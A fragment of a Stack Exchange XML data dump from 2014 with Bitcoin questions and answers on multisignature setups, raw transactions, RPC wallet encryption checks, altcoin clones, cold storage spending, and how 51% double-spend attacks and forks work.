  <row Id="24573" PostTypeId="2" ParentId="24563" CreationDate="2014-04-13T18:42:48.580" Score="0" Body="&lt;p&gt;You could try some commands like connect for direct control of its peering. Trying to run the daemon without its database may be difficult, it looks for the database on startup. It might be easier if the daemon and its blockchain could be run in different locations, I havent heard of this yet.&lt;/p&gt;&#xA;" OwnerUserId="15086" LastActivityDate="2014-04-13T18:42:48.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24574" PostTypeId="2" ParentId="24430" CreationDate="2014-04-13T18:51:25.153" Score="2" Body="&lt;p&gt;This certainly is possible---but unless you define the &quot;several ways&quot; to verify that A has the funds, the solution must exclude this key component. Here is one possible solution:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Special Multisignature Bitcoin-Address&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Create a 3-of-5 multisignature Bitcoin address to which A transfers the Bitcoin in question. A owns 3 of the 5 participating addresses, whilst B and C contribute one each. Next A prepares a partially signed transaction that is signed with only one of his keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To eventually access the funds, B and C must both sign this transaction (or ask A for further signing). But it does not tie up the funds in that A can still access the Bitcoin using only his own keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this only protects A from either B or C unilaterally taking possession of the bitcoins involved, but it does not offer any reassurance to B or C that the bitcoins will remain available to them in the future. That may create a particularly perverse incentive for intermediary B and recipient C to conspire into splitting the pot among them rather than adhering to whatever B's responsibilities in this matter were supposed to be.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-04-13T18:51:25.153" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24576" PostTypeId="2" ParentId="23664" CreationDate="2014-04-13T19:23:57.037" Score="-1" Body="&lt;p&gt;i did same thing bro :) i am very happy when you saw your question :) firstly you have to connect another computer . and you have to see &quot;connection=1&quot; To do that, you have use command: ./testcoin -connect= # . and you have to add listen=1 to main pc and addnode for both pcs.However, hashespersec is also zero for me :(&lt;/p&gt;&#xA;" OwnerUserId="14570" LastActivityDate="2014-04-13T19:23:57.037" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24578" PostTypeId="2" ParentId="24556" CreationDate="2014-04-13T19:33:11.210" Score="0" Body="&lt;p&gt;A synced bitcoind daemon has a command showing txid of transactions passing thru it. It may be impossible to see the whole network at once from one spot, or know whether you can or not.&lt;/p&gt;&#xA;" OwnerUserId="15086" LastActivityDate="2014-04-13T19:33:11.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24579" PostTypeId="2" ParentId="19674" CreationDate="2014-04-13T20:03:51.647" Score="0" Body="&lt;p&gt;There are libraries for deserializing transactions out there.&lt;/p&gt;&#xA;&lt;p&gt;pybitcointools - python&lt;/p&gt;&#xA;&lt;p&gt;bitwasp/bitcoin-php - php&lt;/p&gt;&#xA;&lt;p&gt;libbitcoin - C++/C&lt;/p&gt;&#xA;&lt;p&gt;OUTDATED: bitcoin-lib-php - php&lt;/p&gt;&#xA;&lt;p&gt;There's bound to be many others.&lt;/p&gt;&#xA;" OwnerUserId="11123" LastEditorUserId="11123" LastEditDate="2020-10-03T02:15:53.457" LastActivityDate="2020-10-03T02:15:53.457" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24580" PostTypeId="2" ParentId="3374" CreationDate="2014-04-13T20:15:38.550" Score="1" Body="&lt;p&gt;Once you know the Transaction ID, the vout, the scriptPubKey of that transaction, and the WIF encoded private key corresponding to the public key hashed to yield the address, you can create a raw transaction, and sign it, without being online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written a PHP library to deal with raw transactions (amongst other bitcoin functionality). Here's how you would redeem a regular transaction: &lt;a href=&quot;https://github.com/Bit-Wasp/bitcoin-lib-php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Bit-Wasp/bitcoin-lib-php&lt;/a&gt; It needs an update to support P2SH signatures, but it'll redeem a regular transaction just fine. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-04-13T20:15:38.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24581" PostTypeId="1" AcceptedAnswerId="24582" CreationDate="2014-04-13T20:59:34.717" Score="4" ViewCount="331" Body="&lt;p&gt;Can anyone please tell me, which variable holds the hash of the solution of block's PoW in broadcasted block?&#xA;I know that a block consists of (I am pretty sure I am forgetting some variables here):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Magic no&lt;/li&gt;&#xA;&lt;li&gt;Block size&lt;/li&gt;&#xA;&lt;li&gt;Transactions (raw)&lt;/li&gt;&#xA;&lt;li&gt;Transactions counter&lt;/li&gt;&#xA;&lt;li&gt;Block header&#xA;&lt;ul&gt;&#xA;&lt;li&gt;version&lt;/li&gt;&#xA;&lt;li&gt;hash of previous block&lt;/li&gt;&#xA;&lt;li&gt;timestamp&lt;/li&gt;&#xA;&lt;li&gt;bits&lt;/li&gt;&#xA;&lt;li&gt;nnonce&lt;/li&gt;&#xA;&lt;li&gt;hash(MerkleRoot)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So basically, my question is which variable holds the hash of solution of current block's PoW?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="13358" LastActivityDate="2014-04-13T21:30:28.187" Title="What is the variable in a block that holds hash of found PoW?" Tags="|block|hash|proof-of-work|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24582" PostTypeId="2" ParentId="24581" CreationDate="2014-04-13T21:08:25.103" Score="5" Body="&lt;p&gt;It is not stored. The proof of work is in the fact that the hash of your generated block should be of a certain form. It does not make sense to store it either, because you cannot trust it to be the real hash of the block and thus should be calculated anyway.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-04-13T21:18:15.363" LastActivityDate="2014-04-13T21:18:15.363" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="24583" PostTypeId="2" ParentId="24581" CreationDate="2014-04-13T21:30:28.187" Score="2" Body="&lt;p&gt;It is not stored as part of the block data itself. Other clients reply with their list of hashes ahead of yours when you broadcast getblocks. From that list, each block header is downloaded and kept in the local block chain leveldb with the hash as a key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Network#Initial_block_download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Initial block download&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;At the start of a connection, you send a getblocks message containing the hash of the latest block you know about. If the peer doesn't think that this is the latest block, it will send an inv that contains up to 500 blocks ahead of the one you listed. You will then request all of these blocks with getdata, and the peer will send them to you with block messages. After you have downloaded and processed all of these blocks, you will send another getblocks, etc., until you have all of the blocks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15240" LastActivityDate="2014-04-13T21:30:28.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24584" PostTypeId="1" CreationDate="2014-04-13T21:40:00.947" Score="1" ViewCount="134" Body="&lt;p&gt;An attacker controls the majority of the hashing power and wants to double spend without arousing suspicion. If they mirror the public chain's activity while generating the private fork and the fork is short (say 10 blocks), can you only detect the double spend by verifying the block hashes haven't changed or noticing the double spend transaction directly?&lt;/p&gt;&#xA;" OwnerUserId="15240" LastEditorUserId="5406" LastEditDate="2015-06-17T16:16:19.617" LastActivityDate="2015-06-17T16:16:19.617" Title="Can a double spend attack be obfuscated by mimicking the transactions seen before the fork?" Tags="|security|doublespend|majority-attack|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24586" PostTypeId="1" AcceptedAnswerId="24591" CreationDate="2014-04-14T01:05:30.193" Score="3" ViewCount="691" Body="&lt;p&gt;How can one check if their wallet is encrypted through the RPC API without receiving an exception?&lt;/p&gt;&#xA;&lt;p&gt;I went through the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;Original Bitcoin client API calls list&lt;/a&gt; but didn't find any command that could facilitate this functionality without resulting into an error in the response.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas or workarounds?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-04-14T19:04:26.727" Title="Check if wallet is encrypted or not through RPC API" Tags="|wallet|bitcoind|api|json-rpc|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24587" PostTypeId="1" AcceptedAnswerId="24600" CreationDate="2014-04-14T02:54:57.530" Score="3" ViewCount="994" Body="&lt;p&gt;There have been almost an infinite amount of Bitcoin clones, but I have yet to see a Ripple clone or a Peercoin clone for that matter.  I'd include Nextcoin, but I don't think the full source has been released yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct?  If so, why not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple seems the most logical to clone because of the superiority of the code, and all one need do is generate a new genesis and checkpoint etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there a ton of Bitcoin clones because it has the largest market cap, and all want to get a piece, or does all of the undeserved bad rap that comes with Ripple repel clones?  That last logic doesn't hold much water when it comes to Peercoin.  Or is it harder to attract miners for Ripple because of the fee structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes no sense to me.  Why haven't the other major coins been cloned into oblivion like Bitcon?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-04-14T12:52:11.383" Title="Who has copied or reimplemented Ripple?" Tags="|ripple|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24589" PostTypeId="1" CreationDate="2014-04-14T04:49:06.640" Score="2" ViewCount="1518" Body="&lt;p&gt;How many bitcoin clones are out there? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean people changing the name, the hashing algorithm and a few more parameters and creating a new coin that just keeps on copying bitcoin's source code in eternity? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a list of those somewhere? &lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-04-15T09:39:47.450" Title="How many bitcoin clones are out there?" Tags="|alternatives|protocol|" AnswerCount="3" CommentCount="0" ClosedDate="2014-04-16T02:25:59.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="24591" PostTypeId="2" ParentId="24586" CreationDate="2014-04-14T05:24:12.177" Score="0" Body="&lt;p&gt;From &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/rpcprotocol.h#L34&quot; rel=&quot;nofollow&quot;&gt;the source code&lt;/a&gt; (&lt;code&gt;rpcprotocol.h&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RPC_WALLET_ERROR                = -4,  // Unspecified problem with wallet (key not found etc.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you could check for a JSON-RPC return value of &lt;code&gt;-4&lt;/code&gt;, or if you want to be absolutely sure, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind [...] -help | grep walletlock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;walletlock&lt;/code&gt; RPC command becomes only available (in the &lt;code&gt;-help&lt;/code&gt; list) after encrypting your wallet.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-04-14T19:04:26.727" LastActivityDate="2014-04-14T19:04:26.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24592" PostTypeId="2" ParentId="24589" CreationDate="2014-04-14T05:25:56.990" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/List%5fof%5falternative%5fcryptocurrencies&quot; rel=&quot;nofollow&quot;&gt;A list of relevant cryptocurrencies and their differences&lt;/a&gt; can be found on the wiki. Also (almost) every new altcoin starts with &lt;a href=&quot;https://bitcointalk.org/index.php?board=159.0&quot; rel=&quot;nofollow&quot;&gt;a thread on Bitcointalk&lt;/a&gt;, where all necessary information should be stated in an announcement. See also &lt;a href=&quot;https://en.bitcoin.it/wiki/Alternative%5fchain&quot; rel=&quot;nofollow&quot;&gt;this article about alternative chains on the wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-04-14T11:45:16.253" LastActivityDate="2014-04-14T11:45:16.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24593" PostTypeId="2" ParentId="24489" CreationDate="2014-04-14T05:46:16.273" Score="3" Body="&lt;p&gt;Okay, I will bite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No, I don't think it would be useful to publish software hashes in the blockchain.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you recognize, a hash of a software package is useless unless it is somehow authenticated.  Currently, the most popular way to do this is to make the hash available on a &quot;well-known&quot; website which uses HTTPS, and provides an X.509 certificate signed by a recognized authority.  This provides some level of confidence that the hash is claimed as authentic by the owners of the website, who are hopefully the same people as the authors of the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to distribute the hash from any site that can't itself be authenticated, the hash will need to be self-authenticating; it should carry a signature that the user can have some confidence was made by the right people.  One way to do that would be with X.509 certificates again, but packaged explicitly with the hash rather than being provided implicitly by an HTTPS server.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your proposal to use a NXT alias would have a similar effect, though I think as things stand it would provide rather less confidence.  As problematic as the current certificate authority system is, I think most people today would place more trust in a certificate for &quot;Initech Corporation&quot; signed by Verisign than in the owner of &quot;nxt:initech&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, the point is that if you're not going to distribute the hash from some &quot;well-known&quot; location, it has to have a self-contained signature, and at that point you can distribute it any way you want.  You certainly could put it in the blockchain, but what's the point?  It's of no use without the software package that it's supposed to authenticate.  (And you can't put the software itself in the blockchain, it's too big.)  Why not cut out the middleman and just distribute the signed hash together with the software?  In fact, why not just distribute a single signed file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, in many ways, distributing the hash in the blockchain is &lt;em&gt;less&lt;/em&gt; secure than just putting it on a website.  Even if I just stick it on the plain old HTTP server for initech.com, an attacker still has to either compromise that server or intercept a user's traffic somehow, which is nontrivial to achieve.  If I put it in the blockchain, anyone with BTC 0.0001 to spare can post another hash that looks similar (perhaps signed by &quot;inittech&quot; instead), making it fairly likely that some confused user will pick the wrong one by mistake.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-14T05:46:16.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24597" PostTypeId="2" ParentId="24589" CreationDate="2014-04-14T08:30:35.073" Score="3" Body="&lt;p&gt;My favourite today is &lt;a href=&quot;http://mapofcoins.com&quot; rel=&quot;nofollow&quot;&gt;mapofcoins.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can browse alt-coins list here: &lt;a href=&quot;http://coinwik.org/List_of_all_DCs&quot; rel=&quot;nofollow&quot;&gt;coinwik.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can compare coins here: &lt;a href=&quot;http://coinplorer.com/Hardware/CurrenciesComparison&quot; rel=&quot;nofollow&quot;&gt;coinplorer.com/Hardware/CurrenciesComparison&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is forum, &lt;a href=&quot;http://cryptocointalk.com/forum/358-cryptocoins-cryptocurrencies/&quot; rel=&quot;nofollow&quot;&gt;cryptocointalk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, here &lt;a href=&quot;http://coingen.bluematt.me/status.html&quot; rel=&quot;nofollow&quot;&gt;coingen.bluematt.me&lt;/a&gt; and +10 hidden market places with constructors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can't find full list of all alt-coins. It doesn't exist.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Number of alt-coins grows so fast. Probably, every day there are appear 10-20 alt-coins. This is unstoppable trend. In the Jan of 2015 there will be more than 1000 alt-coins in one hundred percent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, another one constructor &lt;a href=&quot;https://bitcointalk.org/index.php?topic=565417.0&quot; rel=&quot;nofollow&quot;&gt;COIN NUKE | COIN CREATION SERVICE | +EVERYTHING FOR YOU COIN +ESCROW +TOOLS&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="12645" LastEditorUserId="12645" LastEditDate="2014-04-15T09:39:47.450" LastActivityDate="2014-04-15T09:39:47.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24598" PostTypeId="1" CreationDate="2014-04-14T09:51:53.637" Score="7" ViewCount="8353" Body="&lt;p&gt;From reading previous articles I understand that you can receive bitcoins to an address even if your wallet is in cold storage because the bitcoins sent to this address is recorded by someone on the block chain. Is this correct? and who is this someone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now If I have bitcoins stored in an offline laptop (I believe this is called cold storage) is it possible I can create some sort of QR code with my offline laptop and just have my mobile Android bitcoin wallet snap the QR code and wallah the bitcoins are transferred from cold storage to hot? Do I also need to enter my private key to enable this?&lt;/p&gt;&#xA;" OwnerUserId="15249" LastEditorUserId="64107" LastEditDate="2017-12-05T23:18:27.227" LastActivityDate="2023-05-28T10:42:36.637" Title="Can I spend/transfer bitcoins directly from cold storage?" Tags="|transactions|offline|coldstorage|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24599" PostTypeId="2" ParentId="24414" CreationDate="2014-04-14T11:00:55.463" Score="1" Body="&lt;p&gt;You need to speak with each wallet through it's JSON RPC API. To speak with the wallet you need to write some code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to test this api go to your wallet in the menu Help-&gt;Debug-&gt;Console and write the 'help' command, it will give you the list of all the available commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable this RPC for external applications you need to create a &lt;code&gt;.conf&lt;/code&gt; file. Try to run the wallet from the command line and it should complain that you must create this file. This file contains the credentials that external applications use to access the json-rpc api of the wallet. This is different than the password that you need in order to send the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some security considerations that you need to keep in mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;by default the JSON RPC calls are transmitted in plain text so you need to enable encryption explicitly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;minimize the amount of coins you have in the server hot wallet. Instead use one external script to replenish the wallet as needed (also it could compare the addresses in the database with the amount spent)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;set the credentials for the wallet access in a secure way&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13746" LastActivityDate="2014-04-14T11:00:55.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24600" PostTypeId="2" ParentId="24587" CreationDate="2014-04-14T12:52:11.383" Score="3" Body="&lt;p&gt;See the &lt;a href=&quot;https://ripple.com/wiki/Forks&quot; rel=&quot;nofollow&quot;&gt;list of forks&lt;/a&gt; on the Ripple wiki. It currently lists four projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to why there are not more, any answer will by necessity be opinion based which tends to be not appropriate on a StackExchange site. But my answer would be that, as you say, producing an identical fork is trivial to do but also useless. The value of system like Ripple comes from &lt;a href=&quot;https://en.wikipedia.org/wiki/Network%5feffect&quot; rel=&quot;nofollow&quot;&gt;network effects&lt;/a&gt; that a clone would lack. The only reason rational people would consider a using a fork would be if it had some important new feature (hard, lots of work) or if the existing implementation had some serious actual or perceived flawed that the fork did not (including possibly just the perceived control a specific entity may have on the network). For many issues people appear to have with Ripple, instead of forking it makes much more sense to work towards having a set of validators with a robust set of &lt;a href=&quot;https://ripple.com/wiki/UNL&quot; rel=&quot;nofollow&quot;&gt;UNL&lt;/a&gt; entries that possibly exclude Ripple Labs and additional non-Ripple Labs contributors to the code base.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-04-14T12:52:11.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24605" PostTypeId="1" AcceptedAnswerId="24607" CreationDate="2014-04-14T15:04:05.163" Score="3" ViewCount="326" Body="&lt;p&gt;My understanding is that honest nodes work on the longest &lt;strong&gt;valid&lt;/strong&gt; block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose a dishonest node confirms an invalid transaction.  If that node manages to continue producing confirmations at a rate slightly higher than the rest of the network, as in a 51% attack, they may succeed in maintaining the &lt;strong&gt;longest&lt;/strong&gt; block chain.  However, as that block chain is invalid, why does this matter?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, if all honest miners are only accepting only valid confirmations, how it is bothersome if a rouge miner is industriously hashing away at an invalid chain?&lt;/p&gt;&#xA;" OwnerUserId="15136" LastEditorUserId="5406" LastEditDate="2015-06-09T22:51:09.943" LastActivityDate="2015-06-09T22:51:09.943" Title="Who would accept confirmations of invalid transactions in a 51% attack?" Tags="|security|confirmations|majority-attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24606" PostTypeId="2" ParentId="24605" CreationDate="2014-04-14T15:29:30.250" Score="1" Body="&lt;p&gt;If a node creates a block with an invalid transaction in it, the block will not propagate, as every node validates the entire chain.  So that dishonest node will be isolated.   So it doesn't matter, as long as there are more full honest nodes out there then invalid nodes, then nobody will see the longer chain.&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2014-04-14T15:29:30.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24607" PostTypeId="2" ParentId="24605" CreationDate="2014-04-14T15:31:26.673" Score="3" Body="&lt;p&gt;You are guessing that even with 51% of the network hashrate, an attacker can still not benefit from invalid transactions. However, the usual idea of a 51% attack is not to create invalid transactions, but to &lt;strong&gt;remove valid transactions&lt;/strong&gt;, as if they had never happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if Sam makes a valid transaction in payment to company XYZ, and then receives the item or service they paid for, having 51% of the network hashrate may allow them to go back to the block before they made the payment and create blocks that are similar to the existing blocks but do not include that payment. If they continue producing valid blocks until their chain is the longest, then the rest of the network will use this chain and continue adding blocks to it. This would mean that everyone else in the world would see the blockchain without problems with the correct balances, apart from company XYZ who provided the item or service. That company would now find themselves without the payment, as it would now appear never to have been paid in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: As explained in dchapes' comment below, the original transaction may still be held by other nodes, who would simply add it to a later block once the attack is over (so company XYZ would see the payment disappear, but then reappear later). In order to prevent this happening, Sam would have to include a new transaction which spends (at least some of) the money elsewhere. Provided the input address then has less than the required amount to validate the old transaction, the old transaction will be rejected by the network and company XYZ will never receive the payment.&lt;/p&gt;&#xA;" OwnerUserId="14410" LastEditorUserId="14410" LastEditDate="2014-04-14T15:44:12.237" LastActivityDate="2014-04-14T15:44:12.237" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24608" PostTypeId="2" ParentId="24598" CreationDate="2014-04-14T15:35:13.467" Score="7" Body="&lt;p&gt;Every bitcoin and bitcoin transaction is stored in the blockchain which is online, distributed and known by every full bitcoin node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you have on your pc are private keys.   As long as you have this private key, you can sign any transaction which matches the corresponding public key.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An offline, or cold-wallet is a wallet that is not connected to the internet, so nobody can ever figure out your private keys by hacking you - the keys aren't connected to the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spending coins is basically signing (with your private key) that you wish to yield the control of your coins to someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sign this message, you will usually need a pc which is online to create the message to sign, and has a copy of the private key.  It also needs to be online to send that signed message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So unless you have a way to transfer the message to sign to and from a completly offline computer, you will always have to bring your wallet online to spend your coins...&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2014-04-14T15:35:13.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24612" PostTypeId="1" CreationDate="2014-04-14T21:38:49.397" Score="1" ViewCount="2297" Body="&lt;p&gt;I have just switched over to mining with bfgminer from cgminer and I noticed that bfgminer displays the hashrate as Mh/s on my running version whereas cgminer displayed it as Kh/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My GPU is a R9 280x and the most I could every get out of it using cgminer was about 750 Kh/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now using bfgminer it is saying that I am getting ~1.24 Gh/s but I know this is not possible with this card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CKuc2.png&quot; alt=&quot;bfgminer hashrate&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my pool stats this is showing as 674 Kh/s which I think is more accurate consider I have only one GPU card.&lt;/p&gt;&#xA;" OwnerUserId="15194" LastActivityDate="2014-04-14T21:38:49.397" Title="Why Does bfgminer Show Mh/s and Gh/s As HashRate Instead Of Kh/s" Tags="|bfgminer|hashpower|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24613" PostTypeId="2" ParentId="24584" CreationDate="2014-04-15T02:18:58.957" Score="3" Body="&lt;p&gt;The short answer is that there is no way to double spend &quot;without arousing suspicion&quot;. Presumably, you would be double-spending against someone and that person would notice as soon as you diverted the main chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;longer answer:&#xA;As long as you're building your private chain you can double spend everything you have by normally broadcasting to the public chain, knowing that it will be reversed later. There is no way to detect/defend against a 51% attack until it happens, and once it happens the security of the blockchain of Xcoin is obviously compromised and the whole coin/your stash of coins is now worthless, so there was not much point in the double spend anyway.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-04-15T02:18:58.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24614" PostTypeId="2" ParentId="24598" CreationDate="2014-04-15T02:27:50.633" Score="5" Body="&lt;p&gt;The system you describe is similar to the way Armory suggests you use it. You can sign a transaction offline, then transfer that signature to an online computer and broadcast it. Your private key has never been on an internet-connected computer, but your transaction has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, be very careful spending from a cold storage address. There are many possible pitfalls that all have to do with the way the network/clients handle &quot;change&quot;. Generally you'd be better off sweeping the balance into another address, doing what you want with it, and then using a different cold storage address to protect your funds again.&#xA;If you choose to use the first method, I'd suggest you read more about how change is handled.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-04-15T02:27:50.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24615" PostTypeId="2" ParentId="24589" CreationDate="2014-04-15T02:34:25.160" Score="0" Body="&lt;p&gt;Creating a coin is so easy that it would be impossible to list them; people could create a coin and set up nodes with their friends, without talking about it online.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-04-15T02:34:25.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24617" PostTypeId="1" CreationDate="2014-04-15T12:19:25.920" Score="3" ViewCount="292" Body="&lt;p&gt;What's the most efficient way to detect a fork in the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My app polls for changes to user deposit addresses on each new block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deposits are credited to user accounts with a record in a database then the funds are transfered to cold storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When users get refunds those refunds come from the cold storage and a record is added to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My concern is the following happening:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User deposits Btc and the database record is created.&lt;/li&gt;&#xA;&lt;li&gt;Chain is forked from 51% attack or software incompatability.&lt;/li&gt;&#xA;&lt;li&gt;User gets refund from cold storage but I no longer have access to the funds they sent so its out of my pocket.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems that everything but rechecking every deposit is marginally risky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I rely on height plus hash that can be manufactured by the attacker so the new chain looks like the old chain.&lt;/p&gt;&#xA;" OwnerUserId="15269" LastActivityDate="2015-10-24T22:41:50.107" Title="Detecting fork using bitcoind" Tags="|blockchain-fork|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24618" PostTypeId="1" CreationDate="2014-04-15T12:50:43.603" Score="-2" ViewCount="139" Body="&lt;p&gt;For some reason Multibit is telling me bitcoin is at $460 on Bitstamp when it's closer to $490. Why is that?&lt;/p&gt;&#xA;" OwnerUserId="15270" LastEditorUserId="105" LastEditDate="2014-04-15T19:56:17.570" LastActivityDate="2014-04-15T19:56:17.570" Title="Multibit desktop wallet not updating Bitstamp exchange rate" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
